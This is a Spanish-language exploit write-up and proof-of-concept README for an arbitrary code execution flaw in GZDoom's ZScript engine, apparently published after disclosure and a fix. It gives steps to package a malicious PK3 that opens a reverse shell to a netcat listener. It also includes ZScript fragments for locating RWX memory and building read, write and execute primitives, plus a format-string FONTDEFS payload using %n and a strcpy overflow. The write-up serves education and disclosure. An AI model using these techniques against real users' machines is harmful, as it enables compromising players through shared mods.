
Prueba de concepto para CVE-2024-54756, una vulnerabilidad que encontré en el motor de scripting ZScript de GZDoom.
Una prueba de concepto para una vulnerabilidad de ejecución de código arbitrario que encontré en la funcionalidad ZScript de GZDoom (https://github.com/zdoom/gzdoom). Un atacante puede compartir un archivo PK3 que contenga un archivo fuente ZScript malicioso y obtener acceso al PC de la víctima.
Muchas gracias a Rachael y Agent Ash del equipo de desarrollo de GZDoom por sus respuestas rápidas, y a ellos y a los demás desarrolladores de GZDoom por solucionarlo rápidamente.
Confirmado que funciona en 4.13.0 y 4.13.1, y probablemente funcione en versiones anteriores. Tenga cuidado con cualquiera que le diga que degrade a la versión 4.13.1 o inferior para poder jugar su WAD.
Esta PoC funciona solo en Linux, pero es probable que la vulnerabilidad exista también en Windows. No probado en ZDoom o LZDoom, pero la vulnerabilidad podría existir allí también.
La vulnerabilidad fue revelada a los desarrolladores antes de la publicación de esta PoC y ya no debería estar presente en la versión 4.13.2. Hasta donde sé, esta versión no incluye cambios disruptivos prácticos.
Esta PoC se crea y publica con fines educativos, para que los desarrolladores de motores de juegos/scripting puedan entender cómo pueden surgir las vulnerabilidades y para que los jugadores puedan entender cómo puede verse un mod de juego malicioso. No soy responsable ni me hago responsable por cualquier mal uso de esta PoC. Por favor, no la use para comprometer las PC de sus compañeros jugadores; es ilegal (no debería necesitar que se lo diga), y es una acción particularmente despreciable tomar el control de la computadora de alguien a través de un videojuego.
Para usar esta PoC, descargue este repositorio y cree un archivo PK3 (que en realidad es un archivo zip con extensión .pk3) que contenga zscript.zs y MAPINFO:
git clone https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO
La carga útil predeterminada es ejecutar una shell inversa a localhost en el puerto 1337. Inicie el listener:
nc -nvlp 1337
Ejecute la PoC así:
gzdoom -iwad <tu-wad-de-doom-o-freedoom> -file PoC.pk3
Si funcionó, ahora debería tener una shell inversa hacia sí mismo.
Esta PoC es solo para Linux. Puede que no funcione en el primer intento; simplemente inténtelo de nuevo hasta que funcione.
NOTA: Esta es mi primera redacción de exploit y todavía estoy mejorando mi habilidad para hacer redacciones de bajo nivel. Además, hice gran parte de mi depuración con GDB, y desafortunadamente no tuve la buena idea de guardar algunos volcados de memoria para ilustrar mejor mi explicación. ¡Lo siento! Mi próxima redacción será mejor, lo prometo.
GZDoom es un puerto fuente de Doom diseñado para rendimiento y extensibilidad. Gracias a sus potentes características, se han creado muchos WADs, mods e incluso conversiones totales comerciales impresionantes. Desafortunadamente, donde hay complejidad, hay oportunidad para vulnerabilidades, y en este caso había dos presentes en el motor de scripting ZScript que permitieron que surgiera una cadena de exploit completa.
Este exploit derrota a ASLR y evita la necesidad de derrotar los canarios de pila. No creo que CFI de Clang o las shadow stacks hubieran ayudado aquí.
La primera y más importante vulnerabilidad estaba en cómo se manejaban los arrays enormes. Si asigna un array lo suficientemente pequeño, la región de memoria asignada tiende a llenarse con ceros y está adecuadamente separada de otros objetos; no se puede obtener información leyendo memoria no inicializada, y ningún objeto se superpone con el array. Sin embargo, si asigna un array enorme – digamos, 1073741823 palabras de 32 bits o más – podrá leer y escribir hasta 4 GiB de memoria potencialmente no inicializada desde el punto de inicio del array, permitiendo al atacante modificar directamente otros objetos y derrotar ASLR al encontrar direcciones con desplazamientos conocidos. Además, cualquier otro array creado después de este punto se superpondrá con el enorme.
La segunda vulnerabilidad estaba en los permisos del mapa de memoria. Para un rendimiento más rápido, el código ZScript se compila JIT a bytecode x86 o x86-64 siempre que sea posible. Para lograr esto, el código debe escribirse en una región de memoria, y esa región de memoria debe ejecutarse. Sin embargo, la regla W^X establece que una región debe ser escribible o ejecutable, pero no ambas. Si se aplican ambas al mismo tiempo (en lugar de hacer la región escribible, escribir el código, y luego hacerla ejecutable y no escribible), entonces un atacante con una primitiva de escritura arbitraria podrá escalarla a ejecución de código arbitrario; puede escribir shellcode y saltar a él modificando, por ejemplo, la dirección de retorno en la pila (asumiendo que el atacante no tiene una primitiva de ejecución arbitraria). Si observa los mapas de memoria de GZDoom cuando se está ejecutando, puede ver varias regiones RWX:
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0
Por lo tanto, si las primitivas de escritura arbitraria y ejecución arbitraria están disponibles, y el atacante sabe dónde está presente alguna región RWX, puede escribir shellcode arbitrario y ejecutarlo. Hacer estas regiones RW- al escribir el código compilado JIT y luego R-X cuando esté listo para ejecutarse detendría esta PoC, pero no detendría a un atacante de obtener ejecución de código mediante, por ejemplo, modificar datos en la pila (ROP) o el heap.
Además, hay un gadget útil. Recuerde cómo al asignar un array enorme, cualquier otro array creado después de él se superpondrá. Eso incluye arrays de punteros a objetos. Al igual que los objetos C++, los objetos ZScript pueden contener variables y punteros a funciones. Supongamos que tenemos este objeto:
class WeirdObject
{
uint one;
uint two;
uint three;
uint four;
Function<clearscope void()> funcptr;
}
Si creamos un array que contenga un puntero a una instancia de WeirdObject, entonces el atacante puede cambiar el puntero a donde quiera usando el array enorme y cambiar los datos apuntados accediendo a los campos del objeto, dándonos una primitiva de lectura/escritura arbitraria que va más allá del heap. Los punteros en ZScript se verifican para asegurarse de que no sean nulos, pero no para asegurarse de que sean razonables.
La presencia de un puntero a función también nos da una primitiva de ejecución arbitraria; eso, sin embargo, es un poco menos directo, requiriendo la creación de un VMFunction falso para satisfacer la máquina virtual. Tan pronto como se introduce una llamada a una función ZScript en el código del exploit, ese código ya no se compila JIT. Todavía funciona, pero se vuelve un poco más complicado de depurar y explotar. Podría haber una mejor manera de hacer esta parte, pero no estudié lo suficiente los internals de GZDoom para conocerla.
Una cosa a tener en cuenta: WeirdObject tiene variables miembro heredadas, por lo que el primer miembro comienza en el offset 0x28.
Entonces, ahora tenemos las siguientes herramientas:
¿Cómo las encadenamos para hacer un exploit?
Primero, debido a que ASLR está activado, necesitamos identificar dónde está presente una región RWX. Cualquiera sirve. La parte del heap disponible para el array enorme contiene direcciones que apuntan a funciones dentro de una región RWX, pero también tiene direcciones que apuntan a otras regiones; ¿cómo discriminamos? Recuerde que en Linux, ASLR tiene 28 bits de entropía (¡a veces menos!), lo que significa que aunque los bits de la máscara 0x7fffffe00000 en una dirección serán aleatorios, los bits 0x0000001fffff serán estáticos. Entonces, con ASLR desactivado, supongamos que tenemos las siguientes regiones RWX:
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)
Luego podemos usar el siguiente código ZScript para imprimir punteros a funciones ZScript compiladas JIT dentro de las regiones RWX:
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;
for (i = 0; i < (1073741823 / 2); i += 2)
{
u32RWX_L = u32pBFA9000[i];
u32RWX_H = u32pBFA9000[i+1];
if ((u32RWX_H & 0xffff8000) == 0)
{
if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf3800000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf4200000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
}
}
Obtenga los offsets haciendo AND de los resultados impresos con 0x1fffff, y puede usar estos offsets para identificar punteros a regiones RWX. Cuantos más offsets conozca, mayores serán las posibilidades de que el exploit tenga éxito.
A continuación, necesitamos preparar la primitiva de ejecución arbitraria. Lo hacemos modificando el puntero a función en un objeto gadget, como el WeirdObject declarado anteriormente, usando una primitiva de escritura arbitraria. Después de declarar u32pBFA9000, comience creando los objetos gadget de escritura y ejecución arbitraria:
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject"); // Puntero de escritura arbitraria.
ppGadgetObjects[1] = New("WeirdObject"); // Objeto de ejecución arbitraria.
ppGadgetObjects se superpone con u32pBFA9000 justo al principio, y recuerde que los miembros específicos de WeirdObject comienzan en el offset 0x28. La primitiva de escritura arbitraria se ve así, donde TARGET_ADDR es la dirección de escritura objetivo, QWORD es el entero de 64 bits a escribir, y _H/_L indican los 32 bits altos y bajos de un entero de 64 bits respectivamente:
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;
Admitiré que no sé lo suficiente sobre cómo funcionan los punteros a función de ZScript y esta parte todavía me resulta difícil de explicar, pero haré todo lo posible para explicarla de todos modos. Disculpe si le confundo más.
Realmente debería escribir un diagrama para esto, pero ahora no tengo ganas de hacer arte ASCII. Consulte el código fuente del exploit para ver cómo se ve lo anterior. Una vez que se ha resuelto lo anterior, podemos modificar el puntero a función en el objeto gadget. Cuando lo llamamos, ejecutará nuestro shellcode una vez que esté escrito.
El último paso es escribir el shellcode en sí. Dado que esta PoC llama a un comando de shell, también deben escribirse algunas cadenas ("/bin/bash", "-c", la cadena de comando). Esta parte podría ser fácil o difícil, dependiendo de lo que pretenda ejecutar.
Cuando todo eso esté hecho, llama a la función señalada por el WeirdObject de gadget de ejecución, y ahora ha ejecutado su propio shellcode.
Encontré algunas vulnerabilidades adicionales, pero no pude encontrar una manera de explotarlas y dar una cadena ACE completa. La vulnerabilidad de desbordamiento de pila strcpy() se ha corregido en la versión 4.13.2. La vulnerabilidad de cadena de formato mysnprintf() no se ha corregido hasta ahora, pero buena suerte si va a intentar explotarla.
Hay una vulnerabilidad de cadena de formato (dos, en realidad) en el constructor FFont en common/fonts/font.cpp:
[...]
if (nametemplate != nullptr)
{
if (!iwadonly)
{
for (i = 0; i < lcount; i++)
{
int position = lfirst + i;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
lump = TexMan.CheckForTexture(buffer, ETextureType::MiscPatch);
[...]
}
}
else
{
FGameTexture *texs[256] = {};
if (lcount > 256 - start) lcount = 256 - start;
for (i = 0; i < lcount; i++)
{
TArray<FTextureID> array;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
TexMan.ListTextures(buffer, array, true);
[...]
}
[...]
}
[...]
}
[...]
El argumento TEMPLATE de una entrada en el lump FONTDEFS se pasa directamente a mysnprintf(). Esto significa que se puede tener una entrada como esta que intente cargar una fuente basada en variables de pila:
EVILFONT
{
TEMPLATE LOL%hhx
}
O una entrada que escriba el número de caracteres escritos en algún lugar de la pila, causando un fallo:
EVILFONT
{
TEMPLATE ----AAAAAAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}
El hecho de que la salida esté limitada no importa; los símbolos de porcentaje se analizarán sin importar la longitud máxima.
mysnprintf() es una implementación personalizada, de dominio público, de snprintf() diseñada para rendimiento a costa de flexibilidad. Explotarla es mucho más difícil que la implementación estándar de libc. Por ejemplo, usando %n, solo puede escribir palabras de 32 bits y no puede escribir elementos de pila específicos usando %<num>$n.
También hay una llamada peligrosa a strcpy() en LevelStatEntry() en gamedata/statistics.cpp cuyo origen puede ser más largo que el destino. La función:
static void LevelStatEntry(FSessionStatistics *es, const char *level, const char *text, int playtime)
{
FLevelStatistics s;
time_t clock;
struct tm *lt;
time (&clock);
lt = localtime (&clock);
strcpy(s.name, level);
strcpy(s.info, text);
s.timeneeded=playtime;
es->levelstats.Push(s);
}
La estructura FLevelStatistics, asignada en la pila, se ve así:
struct FLevelStatistics
{
char info[60];
short skill;
short playerclass;
char name[24];
int timeneeded;
};
Y LevelStatEntry() se llama así, usando LevelData.Levelname - que es de tipo std::string - como argumento:
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
FString lsection = LevelData[i].Levelname;
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
lsection.ToUpper();
infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
LevelData[i].killcount, LevelData[i].totalkills, LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, LevelData[i].totalsecrets);
LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), LevelData[i].leveltime);
^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]
Hay toda una cadena de otras llamadas necesarias para llegar a este punto, comenzando desde FLevelLocals::ChangeLevel() en g_level.cpp, pero no me molestaré en mostrarla aquí. Diré que a lo largo de la cadena de ejecución para llegar aquí, no hay verificaciones ni límites contra la longitud de LevelData.Levelname.
En un sistema moderno, esto no debería ser explotable; los canarios de pila detendrán cualquier intento de desbordamiento de pila a través de esto de inmediato, y ASLR evitará que el usuario sepa a dónde retornar. Además, solo obtiene un gadget: sobrescribir la dirección de retorno al salir de LevelStatEntry(). En sistemas más antiguos, sin embargo, estas defensas pueden no estar disponibles, y quizás el código ZScript compilado JIT pueda proporcionar gadgets para la explotación.